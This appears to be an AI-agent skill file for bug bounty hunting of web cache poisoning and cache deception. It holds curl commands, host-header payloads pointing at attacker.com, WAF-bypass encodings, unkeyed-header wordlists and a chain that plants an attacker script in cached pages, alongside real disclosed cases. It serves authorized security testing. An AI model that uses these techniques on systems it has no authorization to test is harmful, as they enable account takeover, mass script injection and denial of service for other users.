elementalsouls/hunt-cache-poison
Hunting skill for cache poison vulnerabilities. Built from 10 public bug bounty reports including X-Forwarded-Host poisoning, X-HTTP-Method-Override / GCS cache, reflected→stored XSS via cache, classic Omer-Gil Web Cache Deception, Cloudflare Cache Deception Armor bypass, session-token cache deception, Akamai hop-by-hop smuggling → server-side edge poisoning, and Kettle's 2024 path-normalization WCD against Cloudflare/Fastly/GCP. Host/X-Forwarded-Host injection that reaches app logic (reset-link poisoning, routing SSRF, OAuth issuer) is owned by hunt-host-header; this skill owns the case where the poisoned response is CACHED and served to other users. Use when hunting cache poisoning, Web Cache Deception, CDN-fronted apps.
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-cache-poison
Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously — one request, mass exploitation. Payout scales with blast radius.
Highest-value targets:
Asset types that pay most: CDN hostnames, subdomain-per-tenant patterns, update/download servers, login/account pages cached incorrectly, affiliate link shorteners.
Two distinct attacks live under this skill — target the simpler one first.
Attack 1 — Password Reset Poisoning (Host header injection):
The app uses the Host header to construct the password reset link in the email. Inject an attacker-controlled hostname; the victim's reset email contains a link to your server.
POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
[email protected]
Content-Type: application/x-www-form-urlencoded
Use a distinctive hostname you control or can identify in the response. Proof: the injected hostname appears in the response body (some apps reflect the generated reset link), or the action succeeds (2xx with a "reset email sent" message) after injection — confirming the poisoned link would be sent to the victim.
Try multiple host headers — apps vary in which one they trust (X-Forwarded-Host is most common, but Host itself also works when the proxy passes it through).
Attack 2 — Web Cache Poisoning:
Inject the attacker-controlled hostname into X-Forwarded-Host on a GET request for a cacheable page. If the hostname is reflected in the response body AND the response gets cached, subsequent visitors receive the poisoned response.
Check for cache signals in the response: X-Cache: HIT, CF-Cache-Status: HIT, Age: <nonzero>, or Via: cloudfront/varnish/fastly.
Proof for both: injected value reflected in response body, or action completed successfully despite the manipulated header.
URL patterns to look for:
cdn., assets., static., updates., downloads. subdomains/path/to/page.css, /account.php/nonexistent.jpg/link/, /go/, /ref/, /out/Response headers that signal a cache:
X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...
JS/tech stack signals:
Dangerous header candidates (unkeyed inputs):
X-Forwarded-Host
X-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
Forwarded
X-HTTP-Method-Override
Age, X-Cache, CF-Cache-Status headers.Age increments, the response is cached. Vary headers one-by-one (e.g., add X-Forwarded-Host) to determine which headers are NOT included in the cache key (unkeyed).X-Forwarded-Host: evil.com and check if the value appears in the response body (redirects, canonical links, CSP headers, JS src attributes, meta tags). Append a unique cache-busting query parameter (e.g. ?cb=<random>) so the probe lands on a cache MISS under a throwaway key — this verifies reflection without prematurely storing a live poison entry under the real, victim-shared cache key. (Param Miner's "Guess headers" mode is the canonical Burp tool for discovering these unkeyed headers/parameters automatically.)GET /account/profile.cssGET /dashboard/settings.jpgGET /affiliate-link/target.jsCheck if the server returns dynamic content AND the cache stores it.
Host headerX-Forwarded-Host pointing to an invalid hostGET /page?utm_source="><script>alert(1)</script>Check if the param is reflected and cached for clean requests to /page.
Cache-Control: max-age and Age to understand how long the poison persists and whether it's exploitable before expiry.10. Document blast radius. Determine: global CDN edge (worldwide), regional cache, or single-server cache. This directly affects severity rating.
Confirm caching behavior:
# Send twice, compare Age header
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
Test unkeyed X-Forwarded-Host:
curl -s -H "X-Forwarded-Host: evil.attacker.com" \
"https://target.com/page" | grep -i "evil.attacker.com"
Test Web Cache Deception (path appending):
# Authenticated session cookie required
curl -s -b "session=YOUR_SESSION" \
"https://target.com/account/profile.css"
# Then fetch without auth from another client
curl -s "https://target.com/account/profile.css"
Force cache miss to test poison without hitting cached version:
# Use a unique cache-busting query param to land on a fresh key — do NOT rely on
# client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
# skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
curl -s -H "X-Forwarded-Host: canary.attacker.com" \
"https://target.com/page?cb=$RANDOM"
DoS via poisoned error response:
curl -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \
"https://target.com/js/app.js" -I
# Check if next clean request returns error
curl -s -I "https://target.com/js/app.js" | grep "HTTP/"
Grep patterns in Burp/ZAP response history:
# Headers indicating cache hit
X-Cache: HIT
CF-Cache-Status: HIT
Age: [1-9]
# Reflected unkeyed input in body
evil\.attacker\.com
canary\d+\.
# Web cache deception indicators
Content-Type: text/css (but response is HTML/JSON)
Cache-Control: public.*max-age (on authenticated endpoint)
Parameter pollution test:
curl -s "https://target.com/page?cb=1¶m=CANARY_VALUE" | grep CANARY_VALUE
# Then check if clean request returns poisoned version
curl -s "https://target.com/page?cb=1"
Burp Suite Intruder wordlist for unkeyed headers:
X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Forwarded-Proto
True-Client-IP
*.js" without realizing the path can be appended to dynamic routes. The origin server ignores the extra path segments, but the CDN uses them as cache keys.X-Forwarded-Host to backends for URL generation (canonical links, redirects, password reset emails) without including it in the cache key. The CDN caches the poisoned response./account/settings.css and serve the same response as /account/settings. The CDN sees a .css extension and applies aggressive caching rules.Vary header implementation. Developers know they should add Vary: X-Forwarded-Host but forget, or CDNs strip/ignore Vary headers entirely (Cloudflare historically strips Vary on some asset types).Defense: WAF blocking known poison headers
X-Host, X-Forwarded-Server, X-HTTP-Host-Override, Forwarded: host=evil.com, X-Original-URLX-Forwarded-Host: evil%2ecomx-forwarded-host, X-FORWARDED-HOSTDefense: Stripping attacker-supplied headers at edge
Defense: Require authentication before caching
.css/.js to the URL, which matches a cache rule that ignores authDefense: Cache key includes full URL with query string
?legit=1¶m=evil and cache stores it under ?legit=1¶m=evil but victim visits ?legit=1Defense: Short TTL / rapid cache purging
Defense: Cache-Control: private on sensitive endpoints
The attacker must be able to poison a cache entry and then demonstrate that a *separate, unauthenticated request* from a different client/IP receives the poisoned response — not just their own browser. If only the attacker sees the effect, it's not cache poisoning.
Must be one of: (a) session/account compromise via reflected credentials in poisoned response, (b) execution of attacker-controlled JS via poisoned asset, (c) service denial where legitimate requests return error responses, or (d) sensitive data disclosure (account details cached and served to other users). "Weird response headers" alone is not impact.
You must be able to: send the poisoning request → wait for cache store → fetch the URL from incognito/different IP → observe poisoned response. If you can't demonstrate this clean reproduction with a second client, the cache may not actually be storing the poison and the report isn't ready.
Scenario 1 — Mass DoS on CDN Asset Delivery (Shopify CDN)
An attacker identified that CDN-served JavaScript assets on cdn.shopify.com could be poisoned by sending a request with a crafted header that caused the origin to return a 4xx error. The CDN cached this error response. Any merchant storefront loading that asset then received the cached error instead of the valid JS file — breaking checkout flows and storefront functionality across all stores sharing that CDN path. One HTTP request, global merchant impact, persisting until cache TTL expired.
Scenario 2 — Account Takeover via Web Cache Deception
On a platform serving authenticated account pages, an attacker crafted a URL like /account/profile/photo.jpg and sent it to a victim (via phishing link). When the victim (authenticated) visited the URL, the server responded with their full account profile page (name, email, session tokens). Because the URL ended in .jpg, the CDN cached the authenticated response publicly. The attacker then fetched /account/profile/photo.jpg without authentication and received the victim's account data — enabling full account takeover. Impact was amplified because the cache served the same response to any subsequent requester.
Scenario 3 — Affiliate Link Hijacking via URL Path Manipulation (Shopify Linkpop)
An attacker discovered that the Linkpop affiliate link service would cache responses based on URL path but reflected a manipulated product destination URL in the cached HTML. By visiting a specially crafted path before legitimate users, the attacker poisoned the cache to redirect affiliate clicks to an attacker-controlled domain instead of the legitimate Amazon product. Victims clicking what appeared to be valid merchant links were sent to attacker infrastructure, enabling credential phishing and loss of affiliate commission revenue for the legitimate merchant.
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans the two major families: cache poisoning (attacker influences a cached response served to victims) and cache deception (attacker tricks the cache into storing a victim's private response).
GET /any-path with X-Forwarded-Host: attacker.com — single request persisted attacker host in cached response across apps.shopify.com and localized subdomainsGET /<redirect-path> with X-Forwarded-Port: 1 — cached 301 redirect pointed legitimate users at port 1, breaking accessGET /assets/webpack/*.js with X-HTTP-Method-Override: HEAD — GCS backend honored the override and returned an empty body; CDN cached it as the canonical GET response.css/.jpg/etc. path appending on authenticated routesGET https://www.paypal.com/myaccount/home/foo.css — origin served full authenticated account page; CDN cached it as "static .css" for ~5 hours.avif (H1 #1391635)GET https://<protected-origin>/account/me.avif — Cloudflare's Cache Deception Armor extension list omitted .avif, so the authenticated HTML response was cachedConnection: Content-Length + crafted request — Akamai's first proxy stripped Content-Length as hop-by-hop, second proxy treated body as a second request whose response was cached at the edgehunt-xss — Cache poisoning is the multiplier that turns reflected XSS (low-severity self-inflicted) into stored XSS across every CDN-edge visitor. Chain primitive: X-Forwarded-Host: attacker.com poisons cached script src → cached response now contains <script src="//attacker.com/x.js"> → every visitor to that CDN edge executes attacker JS, persistent for the full Cache-Control max-age.hunt-http-smuggling — Smuggling bypasses front-end cache-key normalization and WAF stripping of poison headers, hitting the cache server directly. Chain primitive: CL.TE smuggle delivers X-Forwarded-Host: attacker.com to the cache backend past the WAF that stripped it at the edge → poisoned entry stored under the victim's normal URL → de-sync poisoning where the smuggled request becomes the cached response for the next victim.hunt-auth-bypass — Web Cache Deception turns authenticated pages into publicly-cached responses, leaking session-bound content to unauthenticated attackers. Chain primitive: /account/profile.css served as authenticated HTML, cached as static asset → attacker fetches same URL without auth and reads victim's email/tokens → session cookies in body → full ATO.security-arsenal — Reach for the unkeyed-header wordlist (X-Forwarded-Host, X-Host, X-Forwarded-Server, X-HTTP-Host-Override, Forwarded, X-Original-URL) and the WCD path-extension list (.css, .js, .jpg, .ico, ;.css, %2e%2ecss) before hand-fuzzing.triage-validation — Run the Pre-Severity Gate before claiming Critical: the poisoned response MUST be reproducible from a separate IP/incognito without your poison headers. If only your own browser sees the effect, it's a self-cache and N/A.Take elementalsouls/hunt-cache-poison from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.